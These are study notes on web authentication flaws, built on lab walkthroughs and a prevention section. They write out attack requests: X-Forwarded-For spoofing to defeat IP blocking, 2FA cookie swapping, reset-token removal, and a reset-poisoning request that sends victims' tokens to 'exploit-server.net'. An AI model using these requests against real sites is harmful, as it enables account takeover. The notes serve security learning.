Authentication Vulnerabilities Notes

Eyad Islam El-Taher

February 2, 2026

Introduction

Authentication is the process of verifying the identity of a user or client. Robust authentication mechanisms are integral to effective web security because websites are potentially exposed to anyone connected to the internet.

There are three main types of authentication factors:

- **Something you know:** Such as a password or security answer (knowledge factors).
- **Something you have:** Such as a mobile phone or security token (possession factors).
- **Something you are or do:** Such as biometrics or behavioral patterns (inherence factors).

It's important to distinguish between **authentication** (verifying who you are) and **authorization** (verifying what you're allowed to do). For example, authentication confirms that "Carlos123" is the legitimate account owner, while authorization determines what permissions Carlos123 has within the system.

Authentication Vulnerabilities Happen When

Most authentication vulnerabilities arise in one of two scenarios:

1. **Weak mechanisms** that fail to adequately protect against brute-force attacks.
2. **Logic flaws or poor coding** in the implementation that allow authentication mechanisms to be bypassed entirely (often called "broken authentication").

While logic flaws in other areas might not always be security-critical, authentication is so fundamental to security that flawed authentication logic almost always exposes the website to significant security risks.

Authentication Vulnerabilities Happen Where

Authentication vulnerabilities typically occur in:

- Common authentication mechanisms used by websites (password-based, multi-factor, etc.)
- Inherent design vulnerabilities within different authentication mechanisms.
- Improper implementation of otherwise secure authentication protocols.

These vulnerabilities expose additional attack surfaces for further exploitation beyond just the authentication system itself.

Impact of Authentication Vulnerabilities

The impact of authentication vulnerabilities can be severe and wide-ranging:

- **Access to sensitive data and functionality** that the compromised account possesses.
- **Full system compromise** if a high-privileged account (like a system administrator) is breached.
- **Access to commercially sensitive business information** even through low-privileged accounts.
- **Expanded attack surface** by accessing internal pages not available to the public.
- **Further exploitation** opportunities from privileged positions within the system.
- **Potential access to internal infrastructure** through compromised administrative accounts.

Even compromising low-privileged accounts can be dangerous, as they may provide stepping stones to more critical systems or expose data that shouldn't be publicly accessible.

Vulnerabilities in Password-Based Login

For websites using password-based login, users authenticate by entering a unique username and secret password. The knowledge of this password is considered sufficient proof of identity. The security of this system is compromised if an attacker can obtain or guess another user's credentials through various methods including brute-force attacks and exploiting flaws in brute-force protection mechanisms.

Brute-Force Attacks

A brute-force attack involves systematically trying various username/password combinations to find valid credentials. These attacks are typically automated using wordlists and dedicated tools, enabling attackers to make thousands of login attempts rapidly.

Important: Brute-force attacks are not always completely random. Attackers often use logic and publicly available information to make educated guesses, significantly increasing attack efficiency. Websites relying solely on password-based authentication without proper brute-force protection are highly vulnerable.

Brute-Forcing Usernames

Usernames are particularly vulnerable when they follow predictable patterns:

- Common email formats: `firstname.lastname@company.com`
- Predictable administrative usernames: `admin`, `administrator`, `root`
- Usernames disclosed in public profiles (even if profile content is hidden)
- Email addresses of privileged users in HTTP responses

Auditing Tip: Check whether the website discloses potential usernames publicly through user profiles or HTTP responses.

Brute-Forcing Passwords

Password brute-forcing effectiveness depends on password strength and user behavior:

- **Password policies** often require:
  - Minimum character length
  - Mix of uppercase/lowercase letters
  - Special characters
- **Human behavior vulnerabilities:** Users often create memorable but predictable variations:
  - `mypassword` becomes `Mypassword1!` or `Myp4$$w0rd`
  - Password rotation leads to minor changes: `Mypassword1!` → `Mypassword1?` → `Mypassword2!`
- These patterns make brute-force attacks more sophisticated and effective than random guessing

Username Enumeration

Username enumeration occurs when attackers can identify valid usernames by observing behavioral differences in the website's response. This typically happens on login pages or registration forms.

Common Enumeration Vectors

Attackers look for differences in:

- **Status Codes:** Different HTTP status codes for valid vs. invalid usernames
  - *Best practice:* Always return same status code regardless of outcome
  - *Common flaw:* Different codes for "invalid username" vs. "valid username, wrong password"
- **Error Messages:** Distinct messages for different error conditions

    - *Best practice:* Use identical, generic error messages
    - *Common flaw:* Minor typographical differences reveal which field is incorrect

- **Response Times:** Timing differences in processing requests
    - *Cause:* Websites may only check passwords for valid usernames
    - *Detection:* Slight delays when username is valid
    - *Amplification:* Attackers can use very long passwords to exaggerate timing differences

Username enumeration dramatically reduces brute-force effort by allowing attackers to generate a shortlist of valid usernames before attempting password cracking.

Lab: Username Enumeration and Password Brute-Force

Lab Objective

This lab demonstrates a subtle vulnerability to both username enumeration and password brute-force attacks.

Solution Steps

Part 1: Username Enumeration

1. With Burp Suite running, submit an invalid username and password on the login page
2. Intercept the `POST /login` request in Burp Proxy
3. Highlight the `username` parameter and send it to Burp Intruder
4. In the Payloads tab, select **Simple list** payload type and add the username list
5. Configure response analysis:
    (a) Go to **Settings** tab
    (b) Under **Grep - Extract**, click **Add**
    (c) In the dialog, scroll to find the error message: `"Invalid username or password."`
    (d) Highlight the text content of this message
    (e) Click **OK** to save the extraction rule
6. Start the attack
7. Analyze results by sorting the extracted error message column
8. Identify the response with a subtle difference (typo containing a trailing space instead of a period)
9. Note down this valid username

Part 2: Password Brute-Force

1. Close the results window and return to the Intruder tab
2. Modify the request with the identified username:

```
username=identified-user&password=$invalid-password$
```

3. Set a payload position on the `password` parameter
4. In the Payloads tab, clear the username list and add the password wordlist
5. Start the attack
6. Analyze results for a `302` status code (indicating successful login/redirect)
7. Note down the password that received the `302` response

Lab: Username Enumeration via Response Timing

This lab demonstrates username enumeration through response time analysis and password brute-force attacks with IP-based protection bypass.

Credentials Provided: `wiener:peter` (for testing)

Solution Steps

Part 1: Initial Reconnaissance

1. With Burp running, submit invalid credentials to `POST /login`
2. Send the request to Burp Repeater for experimentation
3. Discover that IP blocking occurs after multiple invalid attempts
4. Identify that the `X-Forwarded-For` header is supported for IP spoofing
5. Test different usernames and passwords, noting response times
6. Observe key finding: Response time increases with valid usernames when long passwords are used

Part 2: Username Enumeration via Timing Attack

1. Send the login request to Burp Intruder
2. Select **Pitchfork** attack type
3. Configure request with:

```
POST /login HTTP/1.1
Host: vulnerable-lab.com
X-Forwarded-For: $1$
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

username=$candidate$&password=[100-characters]
```

4. Set payload positions:
   - Position 1: `X-Forwarded-For` header (IP spoofing) –> Numbers payload type, range 1-100, step 1
   - Position 2: `username` parameter –> Simple list with candidate usernames
5. Set password to approximately 100 characters to amplify timing differences
6. Start the attack
7. Configure results display:
   - Click **Columns** at top of results
   - Select **Response received** and **Response completed**
8. Notice that one of the responses have Response received and Response completed much larger than the others
9. Confirm consistency by repeating the slow request
10. Note the valid username

Part 3: Password Brute-Force with IP Spoofing

1. Create new Intruder attack with identified username
2. Configure request:

```
POST /login HTTP/1.1
Host: vulnerable-lab.com
X-Forwarded-For: $1$
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

username=identified-user&password=$candidate-password$
```

3. Set payload positions:
   - Position 1: `X-Forwarded-For` header –> Numbers 1-100
   - Position 2: `password` parameter –> Password wordlist
4. Start the attack
5. Identify request with `302` status code (successful login)
6. Note the valid password

Timing Analysis in Burp Intruder

When analyzing timing attacks in Burp Intruder, two critical columns provide different perspectives on response time:

- **Response received:** When Burp received the first byte of the response
- **Response completed:** When Burp received the last byte of the response

Flawed Brute-Force Protection

Brute-force attacks typically involve numerous failed login attempts before success. Effective protection mechanisms aim to complicate automation and reduce attack speed. The two most common approaches are:

1. **Account Lockout:** Temporarily or permanently locking accounts after excessive failed attempts
2. **IP Blocking:** Blocking IP addresses that generate too many rapid login attempts

While both methods provide some protection, flawed implementations can render them ineffective against determined attackers.

Common Implementation Flaws

IP Blocking with Counter Reset

- **Vulnerability:** Failed attempt counters reset upon successful login
- **Attack Method:** Attackers intersperse successful logins with brute-force attempts
- **Example:**

1: Flawed IP Blocking Logic

```
def handle_login(ip_address, username, password):
    failed_attempts = get_failed_attempts(ip_address)

    if failed_attempts >= 5:
        block_ip(ip_address)  # IP blocked after 5 failures
        return "IP␣blocked"

    if validate_credentials(username, password):
        reset_failed_attempts(ip_address)  # COUNTER RESET HERE
        return "Login␣successful"
    else:
        increment_failed_attempts(ip_address)
        return "Invalid␣credentials"
```

- **Exploitation:** Attackers can periodically log in with valid credentials to reset the counter

Account Lockout Bypass

- **Vulnerability:** Lockout only applies to specific usernames, not IP addresses
- **Attack Method:** Attackers rotate through username lists to avoid triggering lockouts
- **Example Pattern:**
  1. Attempt password1 for username1 (fail)
  2. Attempt password1 for username2 (fail)
  3. Attempt password1 for username3 (fail)
  4. Return to username1 with password2 (avoiding lockout threshold)

Time-Based Reset Vulnerabilities

- **Vulnerability:** Counters reset after fixed time periods (e.g., 15 minutes)
- **Attack Method:** Attackers schedule attacks around reset windows
- **Example:**
  - 14:00-14:14: 4 failed attempts
  - 14:15: Counter resets
  - 14:16-14:30: 4 more failed attempts
  - Continues without triggering lockout

Practical Attack Scenarios

Scenario 1: Credential Interspersing

- **Attack Pattern:** Include valid credentials in attack wordlists at regular intervals

2: Modified Wordlist Example

```
# Traditional wordlist
password123
admin123
letmein
...
# Enhanced wordlist with attacker's credentials
password123
admin123
attacker:correctpass  # Resets counter
letmein
qwerty
attacker:correctpass  # Resets counter again
...
```

- **Effectiveness:** Prevents IP blocking while continuing brute-force attempts

Scenario 2: Distributed Attacks

- **Attack Pattern:** Use multiple IP addresses or proxy rotation
- **Implementation:**
  1. Set up proxy list or botnet
  2. Rotate IP addresses between attempts
  3. Each IP stays below threshold
  4. Aggregate results centrally
- **Impact:** IP-based protection becomes ineffective

Lab: Bypassing Brute-Force Protection via Logic Flaw

This lab demonstrates exploitation of a logic flaw in brute-force protection mechanisms

Provided Credentials:

- Attacker account: `wiener:peter`
- Victim username: `carlos`
- Password wordlist provided

Solution Steps

Part 1: Initial Reconnaissance

1. Investigate the login page with Burp Suite
2. Discover IP blocking mechanism: 3 failed attempts trigger temporary block
3. Identify critical flaw: Successful login resets the failed attempt counter
4. Test pattern: `wiener:peter` (success) resets counter for next attempts

Part 2: Attack Configuration

1. Submit invalid credentials and send `POST /login` to Burp Intruder
2. Create **Pitchfork** attack with payload positions:

   ```
   POST /login HTTP/1.1
   Host: vulnerable-lab.com
   Content-Type: application/x-www-form-urlencoded
   Content-Length: [length]

   username=$user$&password=$pass$
   ```

3. Configure resource pool for serial execution:
   - Click **Resource pool**
   - Create new pool with **Maximum concurrent requests = 1**
   - Ensures requests execute in precise order
4. Configure payload position 1 (username):

   ```
   # Pattern: Alternating usernames with attacker's resetting successful logins
   wiener
   carlos
   wiener
   carlos
   wiener
   carlos
   ... (repeat 100+ times)
   ```

5. Configure payload position 2 (password):

   ```
   # Pattern: Attacker's password aligned with attacker's username
   peter          # Aligned with first 'wiener'
   candidate1     # Aligned with first 'carlos'
   peter          # Aligned with second 'wiener'
   candidate2     # Aligned with second 'carlos'
   peter          # Aligned with third 'wiener'
   candidate3     # Aligned with third 'carlos'
   ... (continue pattern)
   ```

6. Start the attack

Part 3: Results Analysis

1. Filter results to hide 200 status codes
2. Sort remaining results by username column
3. Identify the single 302 response for username `carlos`
4. Note the successful password from Payload 2 column

   ```
   Username | Password     | Status | Notes
   ---------|-------------|--------|----------------
   carlos   | secret123    | 302    | SUCCESS - Valid password
   carlos   | otherpass    | 200    | Failed attempt
   carlos   | wrongpass    | 200    | Failed attempt
   ```

User Rate Limiting

Overview

User rate limiting is a brute-force protection mechanism that blocks IP addresses after excessive login attempts within a short timeframe. Unlike account locking, rate limiting focuses on request frequency rather than per-account failures.

Implementation Methods

Rate limiting typically triggers when:

- **Threshold exceeded:** Too many requests from same IP within time window
- **Block duration:** Temporary IP blocking (minutes to hours)
- **Unblock mechanisms:**
  1. **Automatic expiration:** After predefined time period
  2. **Administrative intervention:** Manual unblock by admin
  3. **CAPTCHA completion:** User solves challenge to regain access

Multi-Password Single Request Attacks

When rate limiting counts HTTP requests rather than password attempts, attackers can bypass protection by testing multiple passwords per request.

Some applications accept array parameters for login fields, allowing multiple values per request.

Example 1: Password Array Parameter

```
POST /login HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

username=admin&password[]=pass1&password[]=pass2&password[]=pass3&password[]=pass4
```

Example 2: JSON Array Payload

```
POST /api/login HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
Content-Length: 85

{
  "username": "admin",
  "password": ["pass1", "pass2", "pass3", "pass4"]
}
```

Race Condition Exploitation

Attackers can send multiple requests simultaneously before rate limiter updates its counters.

Cookie-Based Rate Limit Bypass

Some implementations track attempts via cookies rather than IP.

1. Clear cookies between requests
2. Use different session tokens
3. Manipulate session identifiers

PHP Loose Comparison Behavior

When PHP performs loose comparison (==) between a string and an array, it uses type juggling rules:

```
"montoya" == ["123456","password","montoya"]
```

Type Juggling Process:

1. PHP converts both operands to boolean for comparison
2. Non-empty string → `true`
3. Non-empty array → `true`
4. Comparison becomes: `true == true`
5. Result: `true`

Key Points:

- PHP does **not** check if the string exists in the array
- PHP does **not** perform element-by-element comparison
- The comparison is purely based on type conversion to boolean
- This returns `true` as long as both string and array are non-empty

Secure Alternative: Always use strict comparison (===) which requires identical types and values:

```
"montoya" === ["123456","password","montoya"]  // Returns false
"montoya" === "montoya"                        // Returns true
```

Vulnerabilities in Multi-Factor Authentication (MFA)

Overview

Multi-factor authentication (MFA) requires users to provide multiple authentication factors, typically:

- Something you know (password)
- Something you have (verification code from device)

While MFA is more secure than single-factor authentication, poor implementation can lead to vulnerabilities.

Common MFA Methods

- **Dedicated hardware tokens:** RSA tokens, keypad devices
- **Mobile authenticator apps:** Google Authenticator, Authy
- **SMS-based codes:** Codes sent via text message (less secure)

SMS Vulnerabilities

SMS-based 2FA has significant weaknesses:

- **Code interception:** SMS messages can be intercepted
- **SIM swapping:** Attackers can hijack phone numbers
- **Phone number porting:** Transferring numbers to attacker-controlled devices

Implementation Flaws

Common vulnerabilities in MFA implementations:

- **Same-factor verification:** Email-based 2FA verifies knowledge factor twice
- **Weak code generation:** Predictable or insufficiently random codes
- **Lack of rate limiting:** Unlimited attempts on verification codes
- **Session management flaws:** Improper linking of authentication steps

Bypassing Two-Factor Authentication

Implementation Flaws Leading to Bypass

When two-factor authentication is poorly implemented, attackers can bypass the second verification step entirely.

Common Bypass Scenario

1. User enters password (first factor) on initial page
2. User is redirected to verification code entry page
3. User achieves "logged-in" state **before** entering verification code
4. Application may not verify completion of second step before granting access

Attack Methodology

- **Step 1:** Complete password authentication normally
- **Step 2:** Instead of entering verification code, attempt to access protected pages directly
- **Step 3:** Check if application validates both authentication steps before granting access

Flawed Two-Factor Verification Logic

The Vulnerability

When two-factor authentication separates user identification from verification, attackers can potentially authenticate as different users during the second step if the system doesn't properly verify that the same user is completing both steps.

Vulnerable Authentication Flow

1. **Step 1: Password Authentication**

   ```
   POST /login-steps/first HTTP/1.1
   Host: vulnerable-website.com

   username=carlos&password=qwerty
   ```

2. **Step 2: Account Cookie Assignment**

   ```
   HTTP/1.1 200 OK
   Set-Cookie: account=carlos
   ```

3. **Step 3: 2FA Page Request**

   ```
   GET /login-steps/second HTTP/1.1
   Cookie: account=carlos
   ```

4. **Step 4: Verification Code Submission**

   ```
   POST /login-steps/second HTTP/1.1
   Host: vulnerable-website.com
   Cookie: account=carlos

   verification-code=123456
   ```

The Attack

An attacker can:

1. Authenticate with their own credentials in Step 1
2. Modify the account cookie to target a victim's account
3. Submit verification code for the victim's account

```
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user  # MODIFIED TO VICTIM

verification-code=123456
```

Brute-Forcing 2FA Verification Codes

The Vulnerability

Two-factor authentication verification codes are often vulnerable to brute-force attacks due to:

- **Short length:** Typically 4-6 digits
- **Limited character set:** Only digits (0-9)
- **Lack of complexity:** No uppercase/lowercase/special characters

Attack Scenario

- **Search space:** 4-digit code = 10,000 possibilities
- **6-digit code:** 1,000,000 possibilities
- **Automated attacks:** Can test thousands of codes per minute
- **Theoretical cracking time:** Often minutes to hours

Ineffective Countermeasures

Some websites implement weak protection mechanisms:

- **Automatic logout:** Ineffective against automated tools
- **Account lockout after attempts:** Can be bypassed with session management
- **IP-based blocking:** Easily circumvented with proxy rotation

Automated Attack Tools

Burp Suite Intruder with Macros

Attackers can automate multi-step authentication processes using Burp Intruder macros:

1. Record authentication sequence (password + 2FA steps)
2. Configure macro to handle session maintenance
3. Automate logout/login cycles
4. Test verification codes systematically

Macro Creation Guide: `https://youtu.be/ZvU1M-0uXl0`

Turbo Intruder Extension

Turbo Intruder is particularly effective for:

- High-speed brute-force attacks
- Handling complex authentication flows
- Managing session state across requests
- Bypassing rate limiting with request pacing

2FA Testing Checklist

General Testing Methodology

1. **Default/Common Codes Testing**
   - Test `000000`, `00000000`
   - Test `123456`, `12345678`
   - Test `111111`, `222222`, etc.
   - Test `123123`, `654321`
2. **Null/Empty Code Testing**
   - Submit empty string: `code=`
   - Submit null value: `code=null`
   - Omit code parameter entirely
   - Test with whitespace only
3. **OTP Reuse Testing**
   - Reuse previously used OTP codes
   - Test if old codes remain valid
   - Check code expiration enforcement
4. **Cross-Account Code Reuse**
   - Use valid code from Account A for Account B
   - Test if codes are account-specific

- Check code isolation between users

5. **Rate Limiting Testing**
   - Test unlimited 2FA attempts
   - Check for IP-based rate limiting
   - Test account-based rate limiting
   - Verify lockout mechanisms
6. **Information Disclosure**
   - Check if OTP exposed in response
   - Look for OTP in source code/comments
   - Check API responses for OTP leakage
   - Test error messages for information

Advanced Bypass Techniques

7. **Password Reset Bypass**
   (a) Enable 2FA on account
   (b) Logout completely
   (c) Initiate password reset
   (d) Click reset link
   (e) **Vulnerability:** Direct access without 2FA
8. **OAuth Integration Bypass**
   (a) Login normally
   (b) Enable 2FA
   (c) Logout
   (d) Login using OAuth (Google/Facebook)
   (e) **Vulnerability:** OAuth bypasses 2FA requirement
9. **SMS/Email Flooding**
   - Test unlimited 2FA code requests
   - Check for rate limiting on code generation
   - Potential for DoS via SMS/email flooding
10. **Response Manipulation**
    - Change `403 Forbidden` → `200 OK`
    - Modify `"success": false` → `"success": true`
    - Change `"verified": 0` → `"verified": 1`
    - Alter `"status": "failed"` → `"status": "successful"`
11. **Flow Bypass**
    - Complete first authentication step
    - Skip directly to post-2FA pages
    - Test if 2FA step is actually enforced
    - Check session state after first auth
12. **2FA Enrollment Without Verification**
    - Enable 2FA without email confirmation
    - Results in pre-account takeover
    - Attacker can enable 2FA on victim's account

13. **Session Management Flaws**
    - Enabling 2FA doesn't invalidate existing sessions
    - Old sessions remain active
    - Attacker maintains access after 2FA enabled
    - Similar issue with password changes

Vulnerabilities in Other Authentication Mechanisms

Supplementary Authentication Features

Websites often include additional account management features that can introduce vulnerabilities:

- Password change functionality
- Password reset mechanisms
- "Remember me" persistent login
- Account recovery options

Attackers can study these features by creating their own accounts, potentially discovering implementation flaws.

"Remember Me" Functionality Vulnerabilities

The "keep me logged in" feature often creates persistent authentication tokens stored in cookies.

Common Implementation Flaws

- **Predictable token generation:**
  - Username + timestamp concatenation
  - Username + static secret
  - Password-based tokens
- **Weak encryption:**
  - Base64 encoding (no security)
  - Weak hash functions without salt
  - Predictable encryption patterns
- **Lack of brute-force protection:**
  - Unlimited token guess attempts
  - No rate limiting on token validation
  - Tokens not tied to user sessions

Attack Vectors

1. Create account and analyze own "remember me" token
2. Reverse-engineer token generation algorithm
3. Brute-force other users' tokens
4. Reuse stolen tokens across sessions

Advanced Attack Scenarios

Cookie Theft and Analysis

Even without account creation capabilities, attackers can exploit "remember me" vulnerabilities:

1. **Cookie theft methods:**
    - Cross-Site Scripting (XSS) attacks
    - Man-in-the-middle attacks
    - Session sidejacking
    - Malware/browser exploits
2. **Cookie analysis:**
    - Decode/decrypt stolen cookies
    - Identify generation patterns
    - Reverse-engineer algorithms
    - Search framework documentation

Open-Source Framework Vulnerabilities

When websites use open-source frameworks:

- Cookie generation algorithms may be publicly documented
- Default configurations often used
- Security flaws in framework code affect all implementations
- Attackers can study source code to find weaknesses

Password Exposure Through Cookies

Cleartext Password Recovery

In some vulnerable implementations:

- Cookies may contain hashed versions of passwords
- Weak hashing algorithms (MD5, SHA-1) are easily cracked
- Unsalted hashes are vulnerable to rainbow table attacks

Password Change Functionality Vulnerabilities

Overview

Password change functionality often contains the same vulnerabilities as login pages but with additional attack vectors. Since these pages verify current passwords, they can be exploited for password brute-forcing and user enumeration.

Common Vulnerabilities

- **Direct access without authentication:** Attackers can access password change pages for other users
- **Hidden field manipulation:** Usernames in hidden fields can be modified
- **Lack of session validation:** Insufficient verification of user identity
- **Error message leakage:** Different error messages reveal valid credentials
- **No brute-force protection:** Unlimited attempts on current password field

Attack Vectors

Username Enumeration via Hidden Fields

3: Vulnerable Password Change Form

```
<!-- Vulnerable: Username in hidden field -->
<form action="/change-password" method="POST">
    <input type="hidden" name="username" value="current_user">
    <input type="password" name="current_password">
    <input type="password" name="new_password">
    <input type="password" name="confirm_password">
</form>
```

Attackers can modify the `username` parameter to target other accounts.

Password Brute-Force via Error Messages

1. **Error Message Analysis:**
    - Wrong current password + matching new passwords: Account locked
    - Wrong current password + different new passwords: `"Current password is incorrect"`
    - Correct current password + different new passwords: `"New passwords do not match"`
2. **Attack Setup:**

    ```
    POST /my-account/change-password HTTP/1.1
    Host: vulnerable.com
    Content-Type: application/x-www-form-urlencoded

    username=victem&current-password=$guess$&new-password-1=123&new-password-2=456
    ```
3. **Detection:** Filter responses for `"New passwords do not match"` message

Password Reset Functionality Vulnerabilities

Overview

Password reset mechanisms are inherently risky because they bypass normal authentication. These features must be implemented securely to prevent account takeover.

Common Password Reset Methods

1. **Email password delivery:** Sending new password via email
2. **Reset URL with identifier:** URL containing username/ID parameter
3. **Token-based reset:** URL with unique, hard-to-guess token

Vulnerable Implementations

Email Password Delivery (Insecure)

- **Risks:**
    - Email is not secure (persistent storage)
    - Man-in-the-middle attacks
    - Password sent in cleartext
    - Email account compromise = password compromise
- **Mitigation:** Never send passwords via email

Reset URL with Identifier (Weak)

```
http://vulnerable.com/reset-password?user=victim-user
```

- **Risks:**
  - Easily guessable parameter
  - Username enumeration possible
  - Attackers can reset any user's password
- **Attack:** Change `user` parameter to target account

Token-Based Reset with Flaws

```
http://vulnerable.com/reset-password?token=a0ba0d1cb3b63d13822572...
```

Common flaws:

- Token not validated on form submission
- Token not destroyed after use
- Predictable token generation
- No token expiration

Practical Attack Example

Vulnerability: Missing Token Validation

1. **Step 1: Analyze Reset Flow**
   - Request password reset for your account
   - Receive email with token: `/forgot-password?temp-forgot-password-token=abc123`
   - Submit new password with token
2. **Step 2: Discover Vulnerability**
   ```
   # Original request
   POST /forgot-password?temp-forgot-password-token=abc123
   Content-Type: application/x-www-form-urlencoded

   username=attacker&temp-forgot-password-token=abc123&new-password=pwned

   # Modified request (token removed)
   POST /forgot-password?temp-forgot-password-token=
   Content-Type: application/x-www-form-urlencoded

   username=victim&temp-forgot-password-token=&new-password=hacked
   ```
3. **Step 3: Exploit**
   - Delete token from URL and request body
   - Change username parameter to victim
   - Set new password arbitrarily
   - Attack succeeds if token not validated on submission

Password Reset Poisoning

Overview

Password reset poisoning is an attack where an attacker manipulates the password reset process to steal reset tokens and compromise victim accounts. This occurs when websites dynamically generate reset URLs using attacker-controlled headers.

Attack Mechanism

Vulnerability: Header Injection in URL Generation

When reset URLs are dynamically generated using HTTP headers:

- Server uses `Host` header or similar to construct reset URL
- Attackers can inject malicious domains via headers like `X-Forwarded-Host`
- Reset emails contain poisoned links pointing to attacker's server
- Victim's reset token is sent to attacker when victim clicks link

Attack Flow

1. Attacker requests password reset for victim
2. Attacker injects malicious domain via `X-Forwarded-Host`
3. Server generates reset URL with attacker's domain
4. Email sent to victim contains poisoned link
5. Attacker intercepts token from server logs
6. Attacker uses token to reset victim's password

Practical Attack Example

Step-by-Step Exploitation

1. **Initial Reconnaissance**
   - Identify password reset endpoint: `POST /forgot-password`
   - Confirm reset tokens are sent via email
   - Test for `X-Forwarded-Host` header support
2. **Setup Attack Environment**
   - exploit server URL: `exploit-server.net`
   - Configure server to log all requests
3. **Poison Reset Request**
   ```
   POST /forgot-password HTTP/1.1
   Host: vulnerable.com
   X-Forwarded-Host: exploit-server.net
   Content-Type: application/x-www-form-urlencoded

   username=victem
   ```
4. **Token Capture**
   - Check exploit server access logs
   - Look for `GET /forgot-password?token=VICTIM_TOKEN`
   - Extract victim's reset token from query parameter
5. **Account Takeover**
   - Use legitimate reset URL structure
   - Replace token with stolen victim token
   - Access: `https://vulnerable.com/reset-password?token=STOLEN_TOKEN`
   - Set new password for victim's account

Preventing Attacks on Authentication Mechanisms

Overview

Securing authentication requires implementing multiple defensive layers. This section outlines best practices for preventing the vulnerabilities discussed throughout this document.

General Security Principles

1. **Defense in depth:** Implement multiple security layers
2. **Least privilege:** Grant minimal necessary permissions
3. **Fail securely:** Default to denial on errors
4. **Complete mediation:** Check authorization on every request
5. **Secure by default:** Security features enabled automatically

Secure Credential Handling

Transport Security

- **Enforce HTTPS:** Redirect all HTTP to HTTPS
- **HSTS implementation:** Use Strict-Transport-Security headers
- **Certificate validation:** Use valid, trusted certificates
- **Secure cookies:** Set Secure, HttpOnly, SameSite flags

Information Disclosure Prevention

- **Audit public profiles:** Remove usernames/emails from public views
- **Response filtering:** Strip sensitive data from HTTP responses
- **Error message sanitization:** Use generic error messages

Password Management

Password Policies

- **Avoid traditional policies:** Users work around character requirements
- **Implement password strength meters:** Use libraries like zxcvbn
- **Minimum entropy requirements:** Enforce high-entropy passwords
- **Banned password lists:** Block common weak passwords

Username Enumeration Prevention

Response Standardization

- **Identical error messages:** Same message for all failures
- **Consistent HTTP status codes:** Always return same status
- **Timing attack prevention:** Constant-time comparison
- **Generic responses:** Never reveal specific failure reasons

Additional Protections

- **IP blocking prevention:** Don't reset counters on successful logins
- **CAPTCHA integration:** After failed attempts
- **Progressive delays:** Increase wait time exponentially
- **Account lockout:** Temporary after excessive failures

Verification Logic Auditing

Code Review Checklist

1. Validate all input parameters independently
2. Use strict comparison operators (===, not ==)
3. Verify session consistency across multi-step flows
4. Implement server-side state tracking
5. Check authorization on every request
6. Validate tokens on both GET and POST requests
7. Destroy tokens immediately after use

Supplementary Functionality Security

Password Reset Protection

- Use high-entropy, single-use tokens
- Validate tokens on form submission
- Implement rate limiting on reset requests
- Bind tokens to specific users/sessions
- Send reset notifications to users
- Invalidate all sessions after password change

Proper Multi-Factor Authentication

Implementation Guidelines

- **Avoid SMS-based 2FA:** Vulnerable to SIM swapping
- **Use dedicated apps:** Google Authenticator, Authy
- **Implement backup codes:** For recovery scenarios

Monitoring and Logging

Essential Logging

- All login attempts (success/failure)
- Password reset requests
- Account modifications
- Session creations/destructions
- Suspicious patterns